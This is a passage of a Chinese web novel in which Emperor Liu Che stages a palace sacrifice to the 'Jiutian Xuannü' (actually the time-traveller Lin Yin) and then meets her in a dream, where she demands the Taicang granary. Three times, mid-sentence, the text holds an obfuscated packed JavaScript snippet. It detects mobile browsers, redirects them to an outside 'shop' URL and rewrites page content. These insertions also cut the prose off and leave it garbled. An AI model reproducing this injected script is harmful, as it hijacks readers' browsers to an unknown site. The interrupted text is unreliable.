“这不更突出刘彻政治机器的一面吗,他要用到你的时候是真对你好啊。” “圣旨大朝会那段太胡扯了,后面田蚡这段总算是把历史剧那股严肃的气质又扭转回来了,爱看,多更。” “原来刘彻想要重用一个人的时候是这种表现……也合理吧。” …… 系统严肃地对林音说,【大家都说刘彻要重用田蚡了。】 林音说,【有什么需要我帮助的地方吗?】 麻烦刘彻的地方太多了,她也有点过意不去,如果刘彻来找她帮忙,她会很乐意的。 系统又说,【你不帮可能是最好的吧,刘彻现在刚好有事要找你,要不要去看看?他看起来还挺着急的。】 急着要向玄女娘娘献宝一样…… 可是他一整天除了坐着看书就是跟田蚡聊了几句有的没的,哪来的礼物可以送给林音?系统很迷惑。 与此同时,刘彻也很紧张。 这是他第一次要向玄女娘娘送上礼物,虽然他已经选定了人选,但还是要问问玄女娘娘是否满意。 毕竟大朝会距今还有两个月,这期间总不能让娘娘空等吧? 拉更多的倒霉蛋下水,顺便给娘娘多找点乐子,一箭双雕,刘彻认为自己考虑得很周到。 所以,当下,只要娘娘不表露出反对,那刘彻就要正式开始“重用”田蚡了! 8. 剧情01 说要禀告玄女娘娘,刘彻是认真的。 起初,系统根本没想过刘彻主动来见林音的可能性。 一是没想到刘彻的行动力能有这么强,在系统看来,刘彻怎么也得纠结两天再崩溃两天。 没想到这么痛快就答应了……但是为啥啊?系统不相信他真的是个热心的好人。 二是,林音根本就没给刘彻留联系方式啊? 但是刘彻自有妙计。 在他认知里,林音的身份是玄女,那凡人想要沟通玄女,要怎么做? 没错,刘彻准备举行一场祭祀! ——其实根本不用这么复杂,林音就跟在他身边,只是他看不见。 对于林音来说,刘彻是好心人、合作伙伴、善良的同类,所以刘彻想见她,她当然不会让刘彻等,甚至提前到也没问题。 但是她之前攒的积分都投到直播间里了,现在只能当个透明人,只能等刘彻睡觉之后,用入梦术把刘彻拉进梦里相见。 林音是这么打算的,只要刘彻一躺下,她立刻秒开入梦术。 但是刘彻不躺下,他一门心思要为玄女娘娘准备一场庄严的祭祀。 如果说是其他方面,刘彻手底下能用的人真不多,他被窦太皇太后掣肘了很多年,想要收拢权利,还需要一个漫长的过程。 现在无论让他改革变法还是出兵北伐,都很难搞出什么大场面,毕竟手底下没有可用的人。 但也巧,偏偏就在祭祀这一领域,刘彻不但能找出足够的专业人才,甚至多到有点溢出来。 —— 刘岑是太常门下的一介小属官,太常乃是九卿之一,位高而清贵,主管宗庙、祭祀和皇陵。 刘岑是个小乐官,负责在祭祀时敲钟。 近来国丧,天子亲政,听说那位天子对太常向来不以为然……一朝天子一朝臣,刘岑一介芝麻小官,也察觉到了近日气氛的凝重,早早就紧闭家门,不敢随意外出。 然后,门被敲响了。 敲门的人乃是他的顶头上司,太常大人的心腹,但是这不重要,重要的是,心腹大人身后还跟着未央宫中的卫尉。 天子亲卫! 刘岑立马腿软了,当场就要跪下,绝望地想天子就算要清算太常大人,可连我这样的小人物都不愿意放过吗? 下一刻,他被卫尉扶住了。 铁甲严正的卫尉上下打量他,太常心腹谄媚地说,“大人,就是他没错了。” 卫尉置之不理,严格对照了刘岑的体貌特征,然后才一挥手,“人没错,带走!” 刘岑脸都吓白了。 卫尉看了他一眼,举起手中卷轴,“天子手令在此,尔等即刻进宫,不可延误!” 恍恍惚惚中,刘岑想,进宫……要干嘛? 首先排除祭祀,天子不可能在这时候干这种事。 然后……没有然后了啊,他一个芝麻小的乐官,还能干嘛?就算要杀人,也没必要杀在未央宫里吧? 刘岑想破脑袋,想不出自己究竟犯过什么事儿,能直接把自己送进未央宫。 直到他发现身边进宫的队伍越来越庞大,熟人面孔越来越多,最后整个太常麾下都被搬了过来,刘岑跟着自己的同僚们浩浩荡荡地进了宫。 然后他被发了一个青铜钟,身边同僚有的披上沾满羽毛的巫服,有的捧起取悦天地的乐器。 刘岑:…… 他恍恍惚惚地意识到,天子叫他们过来,原来真的就是为了祭祀。 而且是在天子寝宫之中,对着一块神牌,行最端庄肃穆的祭祀。 那神牌上刻的名字,刘岑看不见,也不敢看。 他敬畏地想,能得天子如此大礼供奉,必定是个了不起的大神仙。 余光偷偷瞥见一旁的天子,这是刘岑平凡一生中距离刘彻最近的一次。 此时这位陛下尚且年轻,刘岑清晰看见他面对那未知的神牌,脸上流露出狂热的光辉。 —— 与此同时,长安城中。 白日里,那封圣旨已经激起轩然大波,公卿贵胄,要么惴惴不安,要么惊心动魄,要么若有所思。 如今入夜时分,未央宫中,又传天子诏书,召太常入侍宫中,门下属官随侍左右,闻诏即行,准驰入禁宫。 原本还能有几分稳重的权贵,这下也有点坐不住了。 当下这个关头,刘彻想干什么,基本是摆在明面上的,无非就是清算窦氏残党,收拢权力。 悬念只在于他什么时候开始动手,以及最终要做到什么程度。 但是今天这一系列操作属实让人看不懂,大动干戈就算了,关键是这两件事看起来跟收拢权力没有半毛钱关系。 对于朝堂上这些人而言,最怕的不是刘彻做事太狠辣,而是刘彻明明在做事,但他们完全看不懂。 读不懂皇帝的心意,意味着只能眼睁睁看着事态发生而任人宰割,意味着被这个滚滚向前的大汉帝国抛弃。 没有人相信刘彻只是在普普通通搞一场祭祀。 别说刘彻之前就对这些不感兴趣了,现在是什么时候?放着权力不去拿,白白把时间浪费在祭祀上?刘彻根本不可能做这种蠢事!他必然另有所图。 于是这次有人真慌了,夜色下的长安城中,不时有举着令牌的家臣敲开宵禁的禁令,悄悄前往田蚡府邸,小心翼翼地试图打探口风。 田蚡:? —— 未央宫中,清凉殿。 大把大把晒干的香草被投入香炉中,焚烧而生出的烟雾从错金博山炉中升腾而起。 直播间弹幕也随之升腾而起。 “柏枝,兰草,惠草,蜀椒,桂叶,郁金草,艾萧……焚烧干枯的香草,烟缭坛陛,馨香达天,原来是如此模样。” “太美了,看见那个错金银博山炉没?我导师八十多岁的人了啊,对着截图泪流满面,大喊国宝。这才是最正统最漂亮的博山炉啊,香雾从孔出,缭绕如云中仙山,对上了,都对上了。” “你们真的讨论上剧情了,我欲言又止。” “前面的,劝你也老实讨论剧情,后台直接删弹幕这种事你不会想经历的……” “可是人家剧情也确实够硬,单纯看剧情也很有看头。” “场景我就不多说了,未央宫多壮丽,看过的都懂,细节也考究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456933|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到让我觉得……说不出话完全。” “原来这就是武帝时期代表性的千灯齐明,香雾并火光通达九天,太震撼了……热泪盈眶……” “刘彻亲自主祭,行上香,献美玉,太常在后,太史、太卜、太祝、太宰、太乐、太医六令丞再后,灵台丞、望气佐、大典星更后,粱巫、晋巫、楚巫、荆巫祝祷……我感觉我穿越了,区区一个电视剧,妆造怎么能严谨到如此程度。” “虽然不知道刘彻为什么突然开始祭祀,但是这祭祀现场那种肃穆庄严真的是……难以言语描述。” “清凉殿真大啊,这么大的场面都摆得下……虽然之前就知道这地方很大,但是这么看还是被震撼住了。我先前以为客厅大到能打篮球已经很夸张了,刘彻家里这客厅大到快能踢足球啊?” “非壮丽无以重威,我现在是彻底明白什么叫汉家壮丽了。” “没有人感觉这些人,从刘彻到后面所有人,衣服考究得有点吓人了吗,服饰指导究竟是请了谁出山!” “请谁出山都没用,这服饰根本不是现代人能复刻出来的,大晚上的,我们一组人都被导师打电话叫起来,疯狂记笔记画速写……刚研究出来那个梁巫腰上第三个树皮挂件的作用。” “我就这么说吧,这玩意不可能是凭空想象出来的,必然有实物依据,我倾向于是哪个墓被偷偷挖开了。” “这个规格的祭祀你告诉我挖什么墓能看到?汉帝王墓吗?姑且不说能不能挖,真挖这种墓出来你以为消息能瞒得住?我告诉你不可能,就算不公开,我师姐不可能不知道的,但现在她就坐在我旁边看直播,人已经沉默十分钟了你懂吗……” “楼上在说啥啊,总感觉专业得有点吓人了?” “业内人士吧,原来这直播间真有大佬在看。” “所以这个祭祀到底是为了谁,刘彻不是会偷偷搞祭祀的那种人吧,还是在自己寝殿?” “不止,这个祭祀根本就不对,我没见过这么大阵仗,太史太卜的站位我也不懂,但是在下不才,曾经亲眼见识过先秦祭祀场合,怎么见的你别问,我也不能说,反正保真,看见那个位置没,帷幕遮盖的地方,对,那个应该是主祭祀台的位置。” “但现在刘彻这个祭祀现场,非但没有祭祀台存在的痕迹,而且那个方位竟然是一张床哎?搞这么大阵仗结果对着一张床?” “床上到底有谁啊?!” —— 刘彻很紧张。 他以为自己会更镇定一点,毕竟他已经做好了万全的准备,就连祭祀的方向也深思熟虑—— 直指向床榻,因为昨晚他就是在这张床上夜梦玄女,他是不一样的,他身负玄女的青睐! 但是真正站在这个位置的时候,刘彻开始害怕。 他心底开始生出疑虑,昨夜种种难道真的不是一场梦? 或许只是他太想得到玄女娘娘的青睐,想到要发疯,于是才有那场梦,梦醒之后他依然是肉体凡胎,此生无望窥见神仙。 他几乎想要中断这场祭祀,再去看一看那本被妥善收藏起来的天书,如此才能让提起来的心脏落在实地,告诉自己那并非黄粱一梦—— 9. 剧情02 但是没有回应。 帷幕空悬,清凉殿里安安静静,什么都没有发生。 刘彻的心脏慢慢沉了下去。 —— 香气缭绕中,凡人肉眼不可见的另一个纬度。 林音靠在墙上,百无聊赖地打了个哈欠。 系统看看刘彻,又看看她。 林音脸上写满了“好长啊,怎么还没结束。” 自从刘彻开始写表文,开头是“维建元六年,岁次辛丑,六月庚戊吉日,彻谨以清酒、太牢、玉璧、兰惠香蒿之仪,昭告于九天玄女之神。” 林音就看到这里,剩下的内容就没再看,因为看不懂。 她也没意识到刘彻其实是在向她祭祀,只是觉得刘彻很忙. 所以她耐心地等刘彻上床睡觉,以便于像昨天一样,把刘彻拉到梦里来说话。 但是刘彻,他硬是不睡! 一大群人在清凉殿里又是念诗又是跳舞,还烧了好多枯草整得烟雾缭绕,也不知道是在干什么,到现在都还没结束。 系统不知道怎么跟林音说,刘彻这是在举行一场祭祀,形制还很正式,所以程序繁琐冗长,期望能得到九天玄女娘娘的回应。 而且刘彻真的考虑得很周到,祭祀方向正对那张床,玉璧礼器和祭品也都摆放在了床前,指向非常鲜明。 他大概率认为,这张床上沾染了玄女娘娘的仙气儿,期待这张床能成为沟通玄女娘娘的媒介。 系统能理解,其实刘彻这个行为真没什么大问题,甚至挺聪明,但就是给人一种南辕北辙,越努力越倒霉的感觉。 很奇妙,他都想到关键点在床上了,为啥会对着床罗里吧嗦地祭祀,而不是干脆躺上去睡觉呢? 至于林音,她好像也没问题。 两边都能理解,一时间系统左右为难,虽然也不知道在为难个什么。 祭祀还在继续,刘彻满脸认真地奉献祭品。 林音等得都无聊了,索性摸出纸笔,低头继续写写画画。 她在规划之后要向末日世界输送的第一批物资清单。 这是她今天等在这里要找刘彻说的大事。 直播间开通了,积分攒到了9000点,刚刚又来了一点,现在是9001点,而且还在不停增长,所以林音开始筹划向末世世界输送粮食。 说到这里又要感谢刘彻,他的圣旨一下,直播间贡献了四千点玛丽苏积分——尽管直播间观众只是看个热闹,但是架不住基数大,一个人给一点,加在一起数量极其可观。 剩下的积分,来自长安城里的权贵。 他们人数没那么多,但刘彻发起疯来他们真的会死。 切身利益加持之下,这帮人一个个像植物大战僵尸里的豌豆射手一样狂吐玛丽苏积分。 林音很感谢他们。 而且现在才只过去了半天时间,那道圣旨还没出长安城,辐射范围还仅仅局限于长安权贵。 之后还会有关中豪族,四方诸侯,域外蛮夷…… 根据系统的预测,最终林音能得到的玛丽苏积分总额很可能突破十万! 对于一点积分都要扣扣搜搜的系统来说,这是一笔天文数字,对林音来说也同样如此,但林音想到的是,她要用这笔积分往末世运输第一批生存物资。 从口耳相传的那些稀薄历史中,她记得末世降临初期,因为生存物资匮乏,死了很多很多人,对人类文明造成毁灭性打击。 也正是因为初期的损失过于严重,后续人类在末世面前几乎毫无反抗智力……最终的结局是惨淡的。 过去无法改变,徒留遗憾。 但现在对于林音来说,那不是过去而是未来,所谓未来的含义就是,一切皆有可能。 所以她认真地做计划,低着头拿笔在纸上涂涂改改,冲锋衣领口遮住了半张脸,只露出黑白分明的眉眼。 她眉毛长得很漂亮,线条纤长而优美,原来眉如翠羽是这般模样,低头时眉毛像翠鸟飞过天空时舒展开的羽毛。 清凉殿中烟雾环绕,朦朦胧胧,渺渺茫茫,全世界都沉浸在暧昧的烟雾中,唯独她眉眼清晰,眼角弧度像利剑出鞘,锋芒毕露,睫毛尖上闪着刀刃一般银亮的冷光。 系统很感慨,【这还是我第一次看见你做计划时候的样子。】 低眉敛目,睫翼欲飞而冷若冰霜,是荒郊野外破落庙宇中被遗忘的古代神女塑像,起于蛮荒,像目生双瞳的女魃,像豹尾虎齿的西王母,有一种极端到杀人吮血的端丽和锋芒。 【因为这是我来到这个世界之后第一次做计划。】林音严肃。 ? 系统:【也就是说,之前找上刘彻的时候,你甚至没有做过一份任务计划,全靠临场发挥?】 林音又看了它一眼,似乎是在说,刘彻是个好人啊,面对好人也有做计划的必要么? 系统:…… 余光瞥见有什么东西在眼前晃了一下,系统转头去看,马上蹦跶着向林音汇报,【报告玄女娘娘,刘彻那边结束了!】 终于结束了。 清凉殿中。 太常与麾下属官鱼贯而出。 重重帷幕之中,烟雾还没有散开。 刘彻的心已经冷透了。 他在未央宫隐忍了六年,他以为他的心已经像未央宫墙上的砖一样硬,但今天他才知道什么叫心寒。 这场祭祀那么漫长,但从头到尾玄女没有回应他。 真正的心寒,不是打压、迫害,而且沉默。 他没有得到一个字,一个哪怕最细微的暗示。 不是说玄女娘娘有问题……玄女娘娘当然是不可能有问题的,必然是自己哪里做得不对。 刘彻从床褥底下珍惜地翻出来那本天书,抱在怀里,一边盘算着要令少府在床边打造一个暗格,用以珍藏天书。 不,还是找织室做一套有夹层的新衣,这么珍贵的东西,还是随身携带比较好。 虽然没能得到玄女娘娘的回应,但好在还有天书在。 刘彻爱惜的摸了摸五颜六色的书封。 他以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456934|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光速哄好了自己,然后默默露出冷笑。 他其实非常,非常生气。 七岁被立为皇太子,十六岁登基称帝,刘彻的人生算不上一帆风顺,但何曾被这样无视过? 就好像他也只是凡夫俗子中的一个,没有任何特殊的价值。 唯独忍不了的就是这个,刘彻怒火滔天。 但是之前已经说了,玄女娘娘是不可能有问题的,所以问题会出在哪里? ——田蚡! 倘若认为刘彻会因为没有得到回应,就暂时放过田蚡,那就大错特错了。 那是庸人的做法,刘彻不屑于此,稍遇挫折就退却,那还能做成什么事? 他的思路是,他不可能出错,他可是玄女娘娘眷顾的人,所以错误就只能出在田蚡身上。 一定是先前对田蚡的重用计划,份量还不够重,所以玄女娘娘不满意,这才不愿出现在我面前,给我回应。 刘彻在脑海中修改计划。 原本准备封田蚡为丞相,但现在当然要修改,超级加倍,索性封田蚡为大司马大将军,加太子太傅,功名利禄,人世顶峰。 ——虽然刘彻现在还没有太子,但是没关系,他是皇帝,封什么,怎么封,还不是他说了算?命好就是了不起! 与之相对应的,田蚡需要向玄女娘娘展示的“诚意”当然也要超级加倍。 原本的计划是什么来着,想女人想到被天雷劈? 诚意果然还是不足够啊。 漆黑的夜里,刘彻双眼里闪烁着戾气和杀气,他微笑,笑时唇边露出一点点牙齿,齿列森然如雪。 长安城,武安侯府。 田蚡疲惫地打发走又一波上门的家臣,站起来的时候脚下忽然一个趔趄,浑身忽然一冷,莫名其妙地打了两个喷嚏。 清凉殿中。 系统纳闷地看着刘彻,【他到底要不要睡觉了?】 祭祀都结束了,还在磨蹭啥呀? 林音态度温柔得让系统发毛,【没事的没事的,他那么忙,我们再等一下嘛。】 一边在心里想,等下向刘彻借粮食,应该怎么措辞?刘彻应该会同意的吧? 系统对林音的心思一无所知,只是看着刘彻站在这儿抱着那本书,一会儿微笑一会儿又咬牙切齿,也不知道在想什么。 终于,刘彻自觉心情重新变得舒畅,抱着书满意地躺在了床上。 这是他的一点小习惯,从不带着负面情绪睡觉,每天躺在床上时都确保心情舒畅,听说对身体很有好处。 【害,终于躺下了!】系统都看累了。 遂迫不及待地用汤圆脑袋顶林音的手,【快快,宿主,入梦术启动!】 …… 眼前忽然一花。 刘彻眯了眯眼,有一瞬间的呆滞。 前一秒钟,他还在赌咒发誓心想这次一定要让娘娘认清我才是值得她托付重任的那个人。 下一秒钟,一阵灵魂离体的颠倒感之后,他整个人又回到了昨夜初见玄女娘娘的那场梦中。 10. 礼物01 背景是连绵无际的金黄麦田,林音一身黑衣盘腿坐在田埂上,单手托腮,胸口衣兜里插着纸笔。 刘彻一路艰难地从麦穗里挤出来,素白单衣拂过沉甸甸的麦芒,眼神还是懵的,脸上已经焕发出近乎贪婪的狂喜。 下一刻他几乎凭本能起大礼参拜,“凡臣刘彻,再拜九天玄女之神,臣朝夕奉祀,不敢有怠,伏唯鉴纳!” “呃。”林音懵了,悄悄对系统说,“这就是古代人吗?普通见个面也这么客气?” 下一秒钟她忽然察觉到异常,末世中磨砺出来的直觉再次发挥作用,林音低声道,“不对劲,刘彻他对我存在误解。” 她重新追溯那些蛛丝马迹,“九天玄女之神……莫非这个称呼之下隐藏着什么秘密?——我知道了,他认错人了,他以为我是那位九天玄女之神。” 系统被她的敏锐震住了,“那你现在怎么办,要跟他解释清楚吗?” “我当然要继续装下去,绝对不能露馅!” 系统:? 林音笑了笑,这下是真的心情舒畅了,“我之前还在担心,借粮食这件事情,他会不会拒绝我。” 系统:“那现在呢?你终于放心了?” “这还说什么借不借的?我直接要!”林音掷地有声。 系统:…… 此刻,像系统一样崩溃的,还有直播间弹幕。 作为一个历史直播系统,内部自带的直播间权限很高,可以把直播间挂在末日世界的天空上,也可以把刘彻的这场梦作为直播内容完整摄录。 所以直播间观众眼睁睁看着刘彻闭上眼睛,然后来了一段细腻精致的灵魂出窍片段,下一刻镜头一切,进入一个遍地麦田的新世界。 少年刘彻,素衣如雪,大礼参拜,高呼玄女娘娘万岁! “?” “??” “???” 直播间陡然安静了,不讨论演员了,也不期待剧情了,整个直播间没有任何人说话,男女老少都在打问号。 “凡臣刘彻?” “九天玄女?” “虽然已经夸过了但还是忍不住再说一遍,刘彻这个演员真的牛得不一般,脸上这个表情完全不像演的,又狂喜又咬牙切齿,下一秒像是要杀人又像是要嚎啕大哭,看得我浑身发抖,完全不能感同身受,但又完全被他的情绪感染。” “这是重点吗我请问?” “演技好怎么不能夸了,狠狠夸!不然难道要夸导演是个怪才,不知道什么灵机一动搞出来这一段,零帧起手,剧情雪崩吗?” “让我想到当年小小的老子提前花完生活费,啃了大半个月剩馒头之后突然看见舍友桌上的半瓶老干妈……” “谁?刘彻也要喊妈妈吗?” “他看起来不太介意甚至有点乐意。” “论网友大受刺激开始胡言乱语这件事。” “hello?这不是历史正剧吗?怎么急转直下突然开启玄学频道?” “毫无铺垫,零帧起手,让我缓缓……” 就在此时,一个顶着转播平台官方认证的V+号,突然开着高亮飘红弹幕缓缓而来,一时间压过屏幕上所有密密麻麻的弹幕,简直有气吞山河的霸气: “身为天子的刘彻,虔诚地拜见九天玄女之神。身为观众的我们,当然要以比刘彻更恭敬、更郑重、更正式的态度,虔诚敬拜九天玄女之神!” 一石激起千层浪,直播间顿时更乱了: “我们观众也要拜吗?” “超不经意官方下场。” “装不经意超绝路过。” “高亮飘红自带清屏效果,真是演都不演了。” “何意味呢,我请问呢?有本事把话说明白啊!” “呃,虽然剧情零帧起手,但是结合官方下场,怎么不算一种闭环呢。” “剧情发癫现实也发癫是吧?到底在干啥?” “弹幕风向意外地风平浪静呢,大家好像都很平静地接受了玄女娘娘的设定。” “你猜是大家都心平气和,突然变得文质彬彬有素质,还是信背地里官方下场删评删冒烟了。” “醍醐灌顶啊,正面都下场护了,背地里删个评论更是手拿把掐。” “不是说这个直播间是新技术吗,都挂到天上了,感觉这个技术相当的非同一般,官方下场维护秩序也正常吧,说不定就有领导在看呢。” “说得对,玄女娘娘万岁万岁万万岁!” “怎么万岁都叫上了?” “蒸馍,刘彻都跪了,你不服气?” “官方都跪了,说这些。” “看了这么多年直播,真第一次官方下场,这下不得不玄女万岁万岁万万岁了。” “我们这样把万岁当标点符号用真的能取悦到娘娘吗?” “官方从未否定玄女娘娘的存在,细思极恐!” “弹幕乱成一锅粥了,趁热喝了吧。” …… 此刻,系统还不知道直播间已经引起了末日世界官方的关注,当然,都这样了,想不引起也很难。 更不知道,为了维护直播间氛围,官方在背地里和明面上做出来的一系列努力。 它只是虎躯一震,热泪盈眶道,“积分又涨了!就在刘彻叫出来玄女娘娘的那一瞬间,余额猛涨到1万,不对,到2万了,天呐,这么快!” 系统这辈子还没见过这么多积分,顿时默默上调了之前预设的积分上限。 林音显然也理解了系统的未尽之意,顿时两眼放光,“可以输送给末日世界的物资更多了!” “3万、4万……6万。”天啊,玄女的杀伤力竟然这么大?系统已经完全说不出话。 “哼,很正常,我们地球就是很棒!”林音骄傲得像个翘起尾巴的小孔雀。 她看向刘彻,已然迫不及待想提出借粮食的要求。 但是刘彻有话要说。 林音大度地让他先说。 积分还在快速增长,距离达到极限还有一段时间,她暂且不着急。 系统也看向刘彻。 在它想来,林音不用等太久。 毕竟刘彻他能干嘛呢? 大朝会暂时开不了,他提供不了更多积分价值,最多林音再给他画个饼,让他再高兴一下。 然后林音再问他要一下物资,再然后这儿就没他的事儿了。 但是系统没想到的是,刘彻还真带来了一份正儿八经的礼物。 他从容镇定地把关于田蚡被雷劈的那份计划讲了出来。 “田蚡……被雷劈?”系统语气迟缓,还没想明白这两个名词怎么能联系到一起的。 林音若有所思,对刘彻道,“你的意思是,你希望把一个叫作田蚡的人奉献给我,希望我尽情享用他的灵魂?” 刘彻深吸一口气,重重点头,神色凝重,“田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456935|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚡他是臣下的舅父,他的品性美好犹如香草,容貌美好犹如美玉,臣下今天在清凉殿召见他,感念于他的人品稀世之罕见,唯独把他奉献给娘娘,才算是不辜负了他这样一个人啊!” “凡臣刘彻,谨备祭品,再拜九天玄女之神,伏望收纳,伏惟尚飨!” 系统半张着汤圆小嘴,“这就是传说中那个,平等撞死全世界的野猪吗?” 林音也难得沉默了一下,疑惑问系统,“我什么时候说我要吃人的灵魂了?” 系统说,“你那些任务堪比服从性测试,说出卖灵魂确实也没毛病。" “他对我有误会啊。”林音痛心疾首。 系统信了她的话,“那你要拒绝吗?” “我当然是接受他的好意!送上门的任务为什么不要?”林音喜滋滋的。 “然后我再问他要粮食,我有十成的把握他不会拒绝!” 系统:…… 林音问它为什么不高兴,“连吃带拿的好日子也是让咱们过上了,很快就会有一大笔积分入账,来,汤圆老师,笑一笑,爱笑的女孩儿运气好!” 系统在沉默。 刘彻在等待。 表面镇定自若,其实内心越来越焦灼。 祭祀途中玄女没有回应他,他表面上什么都没说,好像毫无影响,在玄女面前还变得更活泼更热情了很多。 但其实那次祭祀给他带来的影响比他自己以为的要深刻千倍万倍。 从前他想,我是特殊的。 现在他想,我不能失去玄女娘娘。 可是玄女娘娘随时会抛开他,像随手丢掉一个玩具,而他束手无策! 无能为力浇灌出加倍的焦虑和偏执。 他现在只想抓住玄女的手,为了更近一点不惜踮起脚尖伸长胳膊,无论是把自己的头颅还是身边任何人的头颅推到断头铡下都无所谓,哪怕血溅到脸上,他都不会眨一下眼睛。 但是娘娘还在沉默。 她没有被这份祭品打动? 没用的田蚡。 刘彻在心里想。 他已经快被折磨疯了,恨不得焦虑地啃咬指甲,但是表面上他在努力把神色放得更柔和,以便让自己看起来更温顺。 他长相肖似王太后,眉眼却没那么女气,是千金之子坐不垂堂的英气和贵气,这两种气质原本应该截然相反,可在刘彻身上就融合得很好。 天下再没有一个如他这般野心勃勃的少年,这般白衣昂扬的皇帝。 玄女依然沉默。 刘彻再次调整自己的神色,睫毛压低了,神色柔顺,只有眼神里透出一点点令人悚然的戾气……但这点戾气被藏得很好,几乎不见端倪。 他什么都做不到,他自己也知道他什么都做不到,他说什么做什么其实根本不能动摇玄女的心意。 眼前这个黑衣服的玄女,她身后是广袤的麦田,是刘彻最想要的东西,但他不能去拿,只能坐在这里等待她心意的变动,赌她一线垂怜。 刘彻此生中还从来、从来没有过如此无力、如此无望、又如此激动、如此迫不及待的一刻。 他已经不再想到田蚡了,在这里田蚡的份量太轻,更不配被当做一个筹码。 到最后,他只能虚弱无力,近乎呻吟一般地说: “我请求娘娘收下我的祭品。我将亲自负责烹治这份祭品,我最大的心愿是,看见娘娘您高高在上地享用掉他。” 11. 礼物02 林音闻言看向刘彻。 系统说,“咱们刚刚好像把刘彻忽略了。” “好像有点不太好。”林音说。 系统凝重道,“是的,很不好。” “他刚给我赚了那么多积分。”林音反思。 “现在还在持续给你赚很多积分,余额已经累积到了7万。”系统补充。 “太好了,我这就问他要粮食!”林音顿时振奋。 系统谨慎道,“你准备要多少?” 林音开始查询资料,这个朝代的粮食都放在哪里,同时不忘敦促系统干活,“快帮我算一算刘彻的家底有多少。” 系统瞠目结舌,“你全要?” 林音不理解,“那不然呢?我来这里找到他,不就是为了这个吗?而且现在拿走又怎样,只要他听话,之后我会给他更多的。” 拿走更多的粮食,在末世降临之初,从浩劫中拯救更多的同类,这是她绑定系统的理由,也是她找上刘彻的理由。 系统:“你怎么给他更多……?刘彻不会相信也不会同意的。” 林音:“所以我要让他相信,我来说服他!” 她转向刘彻,视线从身后金黄的麦田上掠过,再收束在刘彻身上,故作严肃道,“现在我有一个新的任务,需要你的帮助。” 娘娘的视线终于又落在了我身上。 刘彻只觉得眼眶一酸,心头也是酸涩无比。 娘娘对田蚡似乎不感兴趣,径自略过了这个话题,刘彻心里有点失落,但是听到新的任务,又振奋了起来,“尊上请畅言。” 系统惨不忍睹地转过脸,心想你根本不知道她要说的是什么天方夜谭。 林音把书拿出来,对,就是剩的那半本《追妻火葬场,陛下别太爱》。 昨天刘彻读书的时候,她也在读书,刘彻破译了一些剧情,她也同样破译了一些剧情。 “你看这里,男主为了请女主吃饭,花大价钱买下了米其林三星餐厅的主厨晚宴席位。” “女主不知所措,男主志在必得,所有人都知道他们即将享用一场无比奢华、无比隆重的晚餐——” 刘彻脑海中思维飞快跃动。 他看的那半本书里没有这一段,但在看过那么多逆天剧情之后,他已经可以理解林音这一段话,甚至觉得只是吃个饭而已,简单得他都有点不习惯了。 别管是多贵多稀有的一顿饭,放在那本书里,都算得上清新脱俗,一股清流。 系统也纳闷,它一直提心吊胆,担心林音狮子大开口。 倒不是它精神脆弱,主要林音之前一开口就是“临时大朝会”,系统委实被吓到应激。 但现在林音在说什么?一顿饭? 对刘彻来说,一顿国宴也不算事儿啊。 这么简单?这是林音的风格吗?系统不但没有放下心来,甚至更担心了! “你,是皇帝。”林音指了指刘彻。 刘彻挺直胸膛,“凡臣刘彻,忝为汉室天子。” 不错,我是皇帝,所以你要吃什么尽管提,想让谁做饭都没问题,想让谁陪你吃饭也都可以,一边吃一边享用祭祀也没问题! 哪怕是让当朝太后,刘彻亲妈,洗手作羹汤,他都会眼都不眨一下地同意,并喜笑颜开认定自己占了大便宜。 “你要请我吃一顿饭。”林音继续说。 刘彻已经暗下决心,不管玄女提出要吃什么,他都会答应。跟临时大朝会比起来,一顿饭而已,实在不算什么代价。 如此取悦玄女娘娘的机会,他是不会放弃的,任何人任何事都别想让他放弃,任何。 她要什么我都会答应的。刘彻想,平静地像接受一种必然到来的命运。 “所以,你要把太仓之粮奉献给我。”图穷匕见,林音终于道出最终目的。 刘彻猛然抬头,眼神里的平静片片破碎,露出极度震撼之下的茫然和惊恐。 “我的意思是,全部。”林音轻描淡写地又补充了一句。 系统:…… 通红通红的汤圆头顶猛喷出一股白气,软糯的外皮渐渐变粉又变白,最后变得惨白。 最终惨白汤圆崩溃道,“你怎么会知道太仓的?” “哦我特别留意了一下这个国家的粮食都堆在哪里。”林音得意道,眼睛亮亮的,透着一股子“我也是很聪明的”劲头。 “所以你知道那是用来保障京师、支撑军政、调控经济的天下总粮仓?”系统要晕过去了。 建元六年,太仓粮储300万石,而此时天下赋税不过一年600万石,每年漕运关东粮则是150万石,林音这是要吃一顿饭吗? 她是一张口就要全国上下半年的财政总收入、两年的漕运总积攒! 